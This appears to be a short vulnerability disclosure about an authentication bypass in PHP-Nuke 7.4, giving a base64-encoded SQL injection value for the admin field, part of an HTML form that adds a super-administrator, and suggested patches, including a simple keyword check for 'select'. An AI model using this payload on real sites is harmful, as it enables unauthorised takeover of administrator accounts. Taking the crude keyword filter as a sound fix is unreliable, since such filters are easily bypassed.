This seems like more of a SQL injection bug. $admin value "eCcgVU5JT04gU0VMRUNUIDEvKjox" decodes to "x' UNION SELECT 1/*:1" which will cause the pwd check to be manipulated into union selecting the valid password. 7.4 Patch can be in auth.php, replace line (about) 61 if ($aid=="" || $pwd=="") { with if ($aid=="" || $pwd=="" || stristr($aid,'select')) { I don't know if 7.5 is also vulnerable.

<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox"> <br> <input type="hidden" name="add_radminsuper" value="1"> <br> <input type="hidden" name="op" value="mod_authors"> <input type="submit" name="Submit" value="Display"> <br> </p> </form> - ) Patch Apply this code to your admin.php file: if ( !empty($HTTP_GET_VARS['op']) ) { $op = $HTTP_GET_VARS['op']; } if ( !empty($HTTP_POST_VARS['op']) ) { $op = $HTTP_POST_VARS['op']; } -) Note There are a lot of this problem in PHP-Nuke 7.4, my patch will check the content of $_POST[op] and $_GET[op].
